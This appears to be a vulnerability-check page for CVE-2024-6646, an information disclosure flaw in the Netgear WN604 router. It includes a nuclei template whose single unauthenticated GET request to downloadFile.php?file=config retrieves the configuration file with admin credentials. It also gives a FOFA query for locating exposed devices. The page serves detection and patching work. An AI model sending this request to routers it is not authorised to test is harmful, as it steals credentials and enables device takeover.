Netgear-WN604 downloadFile.php - Information Disclosure

mediumseverity

5.3CVSS score

45.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

There is an information leakage vulnerability in the downloadFile.php interface of Netgear WN604. A remote attacker using file authentication can use this vulnerability to obtain the administrator account and password information of the wireless router, causing the router's background to be controlled. The attacker can initiate damage to the wireless network or further threaten it.

Impact

Unauthenticated attackers can download configuration files containing administrator account and password information, enabling complete router compromise.

Fix

Update Netgear WN604 to the latest firmware version that addresses the information disclosure vulnerability in downloadFile.php.

How to confirm it

Send: GET {{BaseURL}}/downloadFile.php?file=config
Positive when: contains "system:basicSettings" and "system:staSettings" AND contains in content_type "application/force-download" AND status 200

Run it with nuclei: nuclei -id CVE-2024-6646 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-6646

info:
  name: Netgear-WN604 downloadFile.php - Information Disclosure
  author: pussycat0x
  severity: medium
  description: |
    There is an information leakage vulnerability in the downloadFile.php interface of Netgear WN604. A remote attacker using file authentication can use this vulnerability to obtain the administrator account and password information of the wireless router, causing the router's background to be controlled. The attacker can initiate damage to the wireless network or further threaten it.
  impact: |
    Unauthenticated attackers can download configuration files containing administrator account and password information, enabling complete router compromise.
  remediation: |
    Update Netgear WN604 to the latest firmware version that addresses the information disclosure vulnerability in downloadFile.php.
  reference:
    - https://github.com/wy876/POC/blob/main/Ncast%E9%AB%98%E6%B8%85%E6%99%BA%E8%83%BD%E5%BD%95%E6%92%AD%E7%B3%BB%E7%BB%9F%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
    - https://github.com/mikutool/vul/issues/1
    - https://vuldb.com/?ctiid.271052
    - https://vuldb.com/?id.271052
    - https://vuldb.com/?submit.367382
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-6646
    cwe-id: CWE-200
    epss-score: 0.45681
    epss-percentile: 0.98806
    cpe: cpe:2.3:h:netgear:wn604:*:*:*:*:*:*:*:*
  metadata:
    fofa-query: title=="Netgear"
    product: wn604
    vendor: netgear
  tags: cve,cve2024,netgear,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/downloadFile.php?file=config"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "system:basicSettings"
          - "system:staSettings"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/force-download"

      - type: status
        status:
          - 200

References

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